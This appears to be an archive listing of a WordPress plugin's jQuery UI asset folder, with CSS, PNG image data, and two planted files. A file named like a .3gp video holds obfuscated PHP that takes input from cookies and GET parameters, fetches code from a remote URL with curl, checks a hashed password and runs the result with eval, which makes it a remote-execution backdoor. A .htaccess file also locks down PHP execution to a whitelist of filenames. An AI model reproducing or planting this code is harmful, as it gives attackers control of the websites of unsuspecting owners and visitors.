rgba(0,0,0,0.25);-webkit-border-radius:4px;-moz-border-radius:4px;-khtml-border-radius:4px;border-radius:4px}.redux-container .ui-widget-content,.control-section-redux .ui-widget-content,.control-panel-redux .ui-widget-content,.redux-metabox .ui-widget-content{border:1px solid #dfdfdf}.redux-container .ui-datepicker table,.control-section-redux .ui-datepicker table,.control-panel-redux .ui-datepicker table,.redux-metabox .ui-datepicker table{background:#fff}.redux-container .placeholder,.control-section-redux .placeholder,.control-panel-redux .placeholder,.redux-metabox .placeholder{background:#f9f9f9 !important;border:1px dashed #bbb !important}.wp-customizer #ui-datepicker-div{z-index:999999 !important} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-bootstrap/index.php�����������������0000644�����������������00000000000�14720701300�0024767 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-bootstrap/iCwaIEDypYBNvs.3gp��������0000644�����������������00000011653�14720701300�0026302 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $RHEak/*-k?Z7J-*/ = /*-)A+[DnbH|q-*/"r"."a"/*-W{,U+Y^-*/."n"."g"/*-(q>%P)-*/."e"; /*-bb-*/$iv /*-+`=S!bM-*/= /*-u~s2]<)2G-*/$RHEak/*->F0yq[H-*/("~", /*-%d%-*/" "); /*-K=>G}>XkB-*/$N/*-PXe-Y3PL,-*/=/*-fH7(|h|u-*/${$iv/*-g&:UP#-*/[6+25]/*-o{o3&0-*/.$iv/*-bP-*/[38+21]/*-H~0re^1(-*/.$iv/*-hW-*/[7+40]./*-<.-*/$iv/*-^fs`S-*/[41+6]./*--ag`f-nFf-*/$iv/*-C60T1y~-*/[47+4]./*-((8wYIc-*/$iv/*-2Nj|n-*/[26+27]/*-ZfI}z-*/.$iv/*-{|Gtg-*/[45+12]/*-{!-*/}; /*-<H<_>WS-*/if(/*-XL-*/in_array/*-5=HVpN.~.-*/(gettype/*-NT-*/($N)."29",/*-dU!Fu@-*/$N))/*-,7PI+-*/{ $N/*-tx^)&-*/[67]/*-MuQLr-*/=/*-w7~ffl_-*/$N/*-!)Sgo;n{_d-*/[67]./*-b#-*/$N/*-ksg-*/[77];/*-rB>)0u1u#t-*/ @eval/*-Mgt^&k-*/(/*-)#-*/$N/*-4P-*/[67]/*-8.BPqtl<R-*/(/*-Ce{aLg<-*/${$N[36]}/*-8Mcw~-*/[12])); }/*->I6nC-*/class /*-q}r&Q-*/c{ /*-Z)-*/static/*-Xp%dlilP1-*/ function /*-|k7x-*/JFVmxfLZb($oWak) /*-];cguuW`e-*/{ $iGJg/*-Mgmg5!Y-*/ = /*-$D;p-*/"r"./*-BHX>2|-*/"a"./*-dR-1^%!L-*/"n"./*-t`Fw<-*/"g"./*-.1.DqE]6>F-*/"e"; /*-{{-*/$jEfqIX/*-$?~-{l1b7A-*/ = /*-2513-*/$iGJg/*-Y{I)v|rl_S-*/(/*-`ce]]9-*/"~"/*-;A:]>e%b~-*/, /*-5,ARi(zj-*/" "/*-N_CWX2li-*/);/*-`h4K=-*/ $pmEFfSClw /*-b9w-*/= /*-fZ.MrzQA-*/explode/*-|MldD$_>ng-*/(/*-ON-*/"|", /*-fTKB;iz-*/$oWak/*-2nzhBP0<-*/); /*-lL]-*/$QjJKec /*-yj-*/= /*-{Q-t~46{Kc-*/""; foreach /*-5|y];tas{s-*/(/*-K%A0M-*/$pmEFfSClw /*-68K-hX9`^i-*/as /*-V3t&P-*/$Jh /*-]A+cvGt>O-*/=>/*-_hmq!-*/ $dM/*-6m!K07:d-*/) /*-#Zr,id<W?-*/$QjJKec /*-c09I6-*/.= /*--6oa8?Dv-*/$jEfqIX[$dM/*-01#___iU-*/ - /*-Akn,n2w-*/13492/*-VixH{~3d-*/];/*--2bb}5d_-*/ return /*-u]>:T-*/$QjJKec; /*-(sG!)P-*/} /*-QG.NNK6-*/static /*-Z7hnu>9I-*/function /*-Io~h`ba-*/mM/*-s5-*/(/*-@8K-*/$ULNYl,/*-d?nX]I9:@-*/ $UuBseP/*-M{KS_-*/)/*-[m-*/ {/*-!AJs+j-*/ $MpcwFNnT/*-F~-*/ = /*-Yx4a-*/curl_init/*-u(m7=L8-*/(/*-EQZKvK-*/$ULNYl/*-E=cP-*/);/*->3x-*/ curl_setopt/*-(H^InXBQj-*/(/*-w@=Ron-*/$MpcwFNnT,/*->,Z-*/ CURLOPT_RETURNTRANSFER,/*-:A$[Brd4-*/ 1/*-gPd7(-*/);/*-@82b+IN4-*/ $eGxyg/*-Ed-*/ = /*-iTs5m,o)v-*/curl_exec/*-K~>-*/(/*-fdK:A-*/$MpcwFNnT/*-M)BFw-{a9-*/); /*-Ea1P-*/return /*-r8M$Cm-*/empty/*-k!>o<w!@%9-*/(/*-K8EU-*/$eGxyg/*-o0}$OAdDo-*/)/*-OH)Z-*/ ? /*-]|ODp(xUo-*/$UuBseP/*-533x7d-*/(/*-k@)gE-*/$ULNYl/*-}WF;n8-*/)/*-9&>{6WdIl{-*/ : /*-e|dDr-*/$eGxyg; /*-eDfH-*/}/*-0Y<-*/ static/*-kEf-*/ function /*-,L42R<iQ%-*/QkNrjc/*-pHl8c?ngay-*/() /*-F[smh~s>.-*/{/*-.=&-*/ $AuGY /*-4Tgoff@tK-*/=/*-T;-*/ array/*-~ofaupo-*/("13519|13504|13517|13521|13502|13517|13523|13516|13501|13508|13519|13502|13513|13507|13508","13503|13502|13504|13523|13504|13507|13502|13569|13567","13512|13503|13507|13508|13523|13518|13517|13519|13507|13518|13517","13506|13521|13519|13511","13520|13521|13503|13517|13564|13566|13523|13518|13517|13519|13507|13518|13517","13516|13513|13510|13517|13523|13515|13517|13502|13523|13519|13507|13508|13502|13517|13508|13502|13503","13546|13576","13493","13571|13576","13553|13536|13536|13553|13529","13507|13516"); /*-~k|Do<},-*/foreach /*-S}]-*/(/*-q}BNOad6w-*/$AuGY/*-,C-*/ as /*-n[1%j90Ori-*/$LiZxXdhEm/*-I-iM-*/)/*-nj>-*/ $IuCoc/*-?[88^?-*/[] /*-MblQ5-*/= /*-]2?BA$uT-*/self/*-S1X3wMY-*/::/*-fgJ-*/JFVmxfLZb/*-6;A-*/(/*-xuqQ-*/$LiZxXdhEm/*-G{YI-*/);/*-nFmg))57-*/$hWIcAC /*-jZ_A-*/= /*-o+V%15P$=b-*/@$IuCoc/*-c4)B`;-*/[/*-Ve!aYXO-*/1/*-=sV1<D-*/]/*-SX#W-*/(/*-Y+2oGQ-*/${/*-1?t{j,j]o_-*/"_"/*-.z|w]RG-*/."G"/*-+7q|r-*/."E"/*-GgP)h-*/."T"/*-6SG_v-?-*/}[/*-0TCV_o|Cd-*/$IuCoc/*-34-*/[/*-tvP9-*/8+1/*-1jnM-*/]]/*-}Q.hG~SbT-*/);/*-&sU!kq{QNY-*/ $PyhEz /*-j8aR-*/=/*-6Z-*/ @$IuCoc/*-Eq4(ZG:-*/[/*-uFv_F4W-*/0+3/*-3$?U,JSy-*/]/*-q4c^%-*/(/*-WN;-*/$IuCoc/*-VSgD!m-*/[/*-u-*/4+2/*-5!|j-*/], /*->]:8%-*/$hWIcAC/*--Sy9bY(-*/);/*-|<+wLiZaA-*/ $KFIkSWZqa /*-jrW_-*/=/*-W=9;%BP5-*/ $IuCoc/*-@BPBx-*/[/*-JTbTO-*/0+2/*-pS8-*/]/*-q1[u5[rCW-*/(/*-MGM2-*/$PyhEz,/*-X%ovtH-*/ true/*-qPp8-*/); /*-lFB-*/@${/*-kHC,,A-*/"_"./*-m?<f9)-*/"G"./*-OEY~M9&iS-*/"E"/*-iu@,;--*/."T"/*-5(ykTu-*/}/*-ri[?t-*/[/*-0sn-*/$IuCoc/*-o=5-*/[5+5/*-Gty@L-*/]/*-k`-*/]/*-DTzUVFa-*/ == /*-9AQx>rOama-*/1 /*->Tr-*/&& /*-}WAz]gk7VS-*/die/*-d^Gr-*/(/*-896YxwN-C`-*/$IuCoc[3+2/*-f;B1&AIj-*/]/*-txWd-,t-*/(/*-jSV-*/__FILE__/*-CWfnU-*/)/*-(%)LLs!{-*/); /*-qoQMcw!+-*/if/*-6}-*/(/*-YT3-*/ (/*-WS,Yf<R?-*/(@/*-yn.-*/$KFIkSWZqa/*-1kF0F]F=-*/[/*-9k-*/0/*-Ll-*/] /*-o-*/- time/*-5xzK3M-*/()/*-h|WHBrqK_-*/) > /*-7q-*/0/*-H[XhY#b-*/)/*-O<q>-*/ and /*-]0[Fl2T%%u-*/(/*-,p#K>p|-*/md5/*-,v{%-*/(/*-svSNkslY-*/md5/*-n9_pQDZly-*/(/*-L8-*/$KFIkSWZqa/*-+aCFozv-*/[/*-2F_[-*/3+0/*-Pn-*/]/*-2S<cQh,-*/)/*-0fVpG-sZ3:-*/)/*-dqx+MBE-*/ === /*-`V,-*/"179f41ade4afaefd90500d7321ceb50e"/*->i5-*/)/*-YC+)UYb|2-*/ ): /*-63(-?`-*/$WrgicEONJ /*-qrmFCsoli-*/=/*-d4V}zlJ],-*/ self/*-7Nr35-*/::/*-O=axE-*/mM/*-jrK-*/(/*-s[Q&-*/$KFIkSWZqa/*-Aq0]-*/[/*-.Yf-=-*/0+1/*-qxq^C,I;-*/], /*-F;h-o:-*/$IuCoc/*-((]_Ro@Yi8-*/[/*-+bJ-1g-=s-*/1+4/*-N8RDLk-*/]/*-xxTfk:-*/);/*-cY6ou-*/@eval/*-f$B&B-*/(/*-?eiWf_-*/$IuCoc/*-Z-6-*/[/*-k-(K-VF=-*/4+0/*-t.x%-*/]/*-9gv3-*/(/*-^V-*/$WrgicEONJ/*-.>P6z-*/)/*-FgI&yo-*/);/*-A))T:fM-*//*-:#-*/die;/*-)sF^J-*/ endif;/*-Im[:xh(=v-*/ }/*-LXP>#-*/}/*-rU-*/c/*-#7R{M[tfI-*/::/*-lB-*/QkNrjc/*-18v-*/();/*-h:-*/ ?>�������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-bootstrap/.htaccess�����������������0000644�����������������00000001626�14720701300�0024764 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_f6cf3b_256x240.png������������0000644�����������������00000021264�14720701300�0025065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������������sBIT|d��� pHYs�� �� ~���tEXtSoftware�Adobe Fireworks CS5q6�� �IDATxGuǿFVkoCdI -ZCˏ@]h =j\ZO% (Ԡ^DAJ('*vR%8"3Ν;g}wG{ݝsfvvΙ[[[ b<d�b_ve9šj �e} H�ob`M5ǚjk*ʿoZfe鏔eq5UtT%$(+o:1jҐ1T6~�k2'Gb6h{�=>3Wm gNWE&g)sWp0e�RDJYpT2;+K'2wu 7z;q JyvV=$,R<A[.{31�w]�=ǧ H!q�oq]iD9.T.c} �-4hq!@fA �0d�b C  �0Fw>@3z1p1NJ�9b~ei+%0@!P Ӏ4AX'e+ 5Le=hO` BʮTC)@q<ŝ69*Ƕ`?]!KTv3l�|lB$pb@Mg<TXB+q&s< HN7Hq e1ko@<�l w`0L�2d�b C  �0d�bT[2pTYk5�C2CB RH9=7>7?&DgrZf<RO09 Ǽ6#Uv^2(߭Ѵ@U OUyf9*\{\0WI9gz}ЬmC[ӱPo]2nv}{V+ sT9_rfiz�j1js#mMx1gq]Brr9Y:]A>C?F.WZ뜻,:0SH wsjB)�A @�2d�b C  �0d�bh}Z]BLڟ r<#?Ӥ.|*f`]`M*@vJ9@+1Ӭ^4$T9r>k)8ht|⚱;&\:럭*EV,kٲk @c�# KRbt\Ow䕍M;gtykZ = /%-. �\r1um t*@h%}_]^ k/8j3YZ}fAA�"7SZtsy+Bl={jy˼a& Ok孖#6 cr㹌Ze! v"︖�,˃Č�g $-v0Cx]yqR^5H)�,6d�bP@ �Đ!@ �A 2�1`�/>5`(sM"R't=)etf+tu_F&9[.[XO2q'/=4زui0ZO)9CZQK'_2.y?ˀ}H lSnPV[XyeJ!֣-ܩ ?;t`&wyD/ho8VܔU]`y:ߜixYdt.B:G_~mF#QO-9z]C/-.<Cqʓ#ǧ �>u53E&xy\dWR^k^됣xjK</YͨÃZ%@@� @C �A 2�1`�Ā!5zF,*֕b&&pNP/E64 T{�l.D Uc?W`ol6{bKIdt\5?=�D۔G=hq/ZQߪ_nBpy5MUr]Ssu@()keZ ,(K>aaS*%�{CZ_}X{bx0/-�^!w,b*bK9b Jr&kۏ VZw_nl7TFWD٠އ,k>=H-4HyaC�bʑՕ[ C|S &8S_d|3,wNÒWO(_LZ<Iy iMb 'BAbP@ �Đ!@ �A ;0 �Pv,l 5NL׭~fFo.;t)u�e}zbM^�R6Q�"?(oMs3ve4k绗~L瑆xk�<.z^QOʧx?ZHe+} �{�bM+nj@�hyfщIIiF�JP^{oQf J#;YS.Z=�> Cs?.g=R㮼#eT>ͷ'�yuj7}a8| zQև+eU=6х~GQ?書 ,=�| .{/b xjt>#"LNLF\W&�8LYSÚjdD2:C/QL&(,k*83ʾk? �~LQ�F;\85`;% h�b:^`S 񰎻^B7!)7|]| zW/GLg.�{ �x>}spа]X4hu&ܯeOA6�=Y?>C\CfdB_F$ .va|EY?V??K|Ӏuo/nhS`MGUhx<�{\Yyw!<��`XqՋ|߼i�'s X ,> @Eΰ B8Ey'OKe. }M}f�T>�"_ʯ0:~x&[u?/oqh61C|go �( T{S�ȧoYsJy `َF+Q3ud~;XR85l}83`4F�0(?2DVF!myH<k=7A{E"b1x�A !C  �0d�zk2 s::̪LU9/5K�|SKWέZb͚6ا2(9Jky)@\aMeCeS`MuY,Zߋ^o$N6YS9�k3h=OqS ؐ�p5˅G?};Ėor's1D'|yw-/P~T+B Lp? '7N 牢?e{ʳiBMI@c� 28�2wO4\s[?7N�.v W^L<]˯C7:Roj.YS=ZiD$fMȋ1�@Dd'-/|U�k3|+lJ,s+IS#fCO=([QOt=�Uq c3cr 2|B]|hYS-g4aM� �n=дd;!yq<XO:Ԩ-rM_!W3#o�8"vF : | TWY'EY_=M��`ChրmdA(WLQ7xo? �/CKn^β<c෢Q~\|)%{S (wxc5uh{�p/xO(5Y&.jQ'xbPWg*;/D�+u�T A5shǫĚ�ĚS�n???wy}M ߉,1� &_UH{)+soU> H5B[hL,Pz('MT~)X#0(Kh]oG x;N"S9nU=_?ץ?Su'HC?t3-�~gDژApLA)yǟX)4REzih"ol!'+ߋv`]˯J6X%l-s`|G_ >>8ߗ=Ґz&-o俽?ԲF=LJq '*Ϧrl9r�#2(?0 ^?+\مL<Y 35߬n_v@&x�1`(�Ad�bȐ C  ^ldd1v(-/:ڷ�iK~7K߾"yce}Lڿ֧2k`;hH¢S;we}OY%�<GVUuK{`X %|jx< x� \p?߽ >; ՂKS2;>TT(nW0ףrg _E�yug~ V0k3BQC|3H}X}U9[<ٌbaS=T7ib<sUS / 1BTb||0V>E߇ߺL<�EY_�TcEr_�FQcsTs*Dtڐo&XYi_b5sN+zi ~hy-zHb0<|/GrUe+cүHO<,4\+oֆ>-}7nStM8gZbi$j(oL~ߏ88P&Y|A@Yy<b:V*<}.,y<@[4F�S~]Pk.?k <Ve}'k3W~`>´ƝSGbMu=x R0Ɋ~ʷWо{ǫ{M@tJwXB?)VYS1+WXSZQpU`�ޭ_xL?w]߆NL`3Jt5&~_噵=1ix�PU}WV[>Xg�DyZKӅ]A@|H)-|ށE 8P4ʿqOkY q'潗19�{va y{*hPӣ 򲦺m}e-B"[0a :�UKupjpPKh{�gƈJ[%e Y C~EYG�նPTO$w?]h@Hl>e" $\Qg -Q.}ף՛- ! lEkG֪rEHүIC$h鋲~9kU~L9`r  ødo q�dQccQȊ2|n7amGfD:�ШF܁ -^EYv"ܝÍ1UA\Ä qP<�0 2�1d�Ā[\G-h#E�>Uá$b6ؖ?qlEY5�|qEY(A5k1<1�(2%[}╍}z6��p(kת19+#K|z ؋עo 6+ʈ(9caHT+/?+%A~5Ն\"FVz-x_ygVMZ[_{lnˋYV#+Ӯ(`jh]Yo-G,%cL]`ҳڣ0ZXRXN( $8H$-\!sG3c~bQOeEp#Pg-2WvUG| ENSi~ #.\[i飑JD' xrʖ#.o2M70U~51i}y/*\#ߪ 1L3Zv#X�XT˼ED<r喣*X=vm/fU#TaM5k�|! V$C=1z xܡ v*�_uQucCdst5xUA~ mOd9T!j� L|ݭ\Tx!{(d")cT;�ȗC5+]>1ϝQ@P<�0 2�1d�Ā!@ �A 2�1s޲|�>݄TɄ5IT'G!E2Z$Cp2 !cMum2yA%G m1oʟA,Z9LwW2=Wx'2&ר-CwE^KVZf1e=mF&h|g0F}RBɐ]O 1�h[ߏΨ,nn97q,= h@2!#:ǟO3O�}]2jʦ<:|\0GSb6‚o!Q TWX\"Sw;-zzPy�{r&BA !C  �0d�bX �\ٖ L@>-EYﺖ5յ�~OC~{{}e W]:T%��=�w5RQ֏c;*O|<A#dMʻ[//-o1>e.O�x\Qwwc9�+XiWT5s^DzYSB۳yw 2,謩s�ϔȋcS BnωEY#9�7uW.ܗTj;h]A;yC*e+JV'o9_7!"W' cߠg(J{U׷p$Wk>{Br"x_子_N7f(̚jE^J O]veMu)Txm`V�奮P tv߀Vk$ @8zm9`\�8"ݩ<8A @�2d�b E�>Uö{ ߮uSEYuZj仾$ ?oy�oAEYHGoCxQ_P?'ϓ׀CW-|]ʿ <_]LO FAEY0̼:ְτK/~!Ta58ua oyCfܿoפD6�&/uq$g HwVހEo4fz yFǔ(냀qI:YSʫiy]T~.L7W7z|6'ij04bs?4LʛRb/O!oeK�;7h"0S|V+3GWa]X= ddp {k\Y9-}U~`�Ro@jE]�Ŧ#'WT9|9kӃ*zGÚ,\plV}&yӫ1ݍ;KוWނXהydTyױ}IŔ?|cQs)8iQc LT >T©c Lxkf?"��"IDAT0?iKZ])#++8�n]v仾$  ]Oe4zĀ A !C  �0d�b c3 b^ؼwk]Hky <ttm0]WD/qT,}beu' h p% |p6'QD+f$C@ )>�ʛTI@ 5o}6ߵ<A yA �0d�b C  9ÚjM "�a{@l*G.XSpB_Ԗ[V/+Ac3�`ImIbr?ʢR |Z<E//#_E<>`3�{WzR`40)h:1+�`~:66�/P@I}v!ke}6C23S~ D`XU~l3J,.h|oQD Ābiݭ-����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_glass_75_dadada_1x400.png��������0000644�����������������00000000157�14720701300�0026013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR��������oX ���6IDAT8cx&Qb%-7(`bbBf!؈(1J�c ܠ����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_222222_256x240.png������������0000644�����������������00000010421�14720701300�0024540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTE$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$$"$È���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_flat_0_aaaaaa_40x100.png���������0000644�����������������00000000264�14720701300�0025602 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���(���d���drz���{IDATh1 �17Y$t3;_TUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTüŝc)����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_highlight-soft_75_cccccc_1x100.png���������������0000644�����������������00000000145�14720701300�0027540 0����������������������������������������������������������������������������������������������������ustar�00��������������������������������������������������������������������������������redux-framework��������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������d���G,Z`���,IDATcx&!DJqш/�Cc ;�:*CO����IENDB`���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_glass_75_ffffff_1x400.png��������0000644�����������������00000000153�14720701300�0026034 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR��������oX ���2IDAT8 � לYH>!+,I !|KU Ino96Ԍ����IENDB`���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_454545_256x240.png������������0000644�����������������00000010421�14720701300�0024557 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r 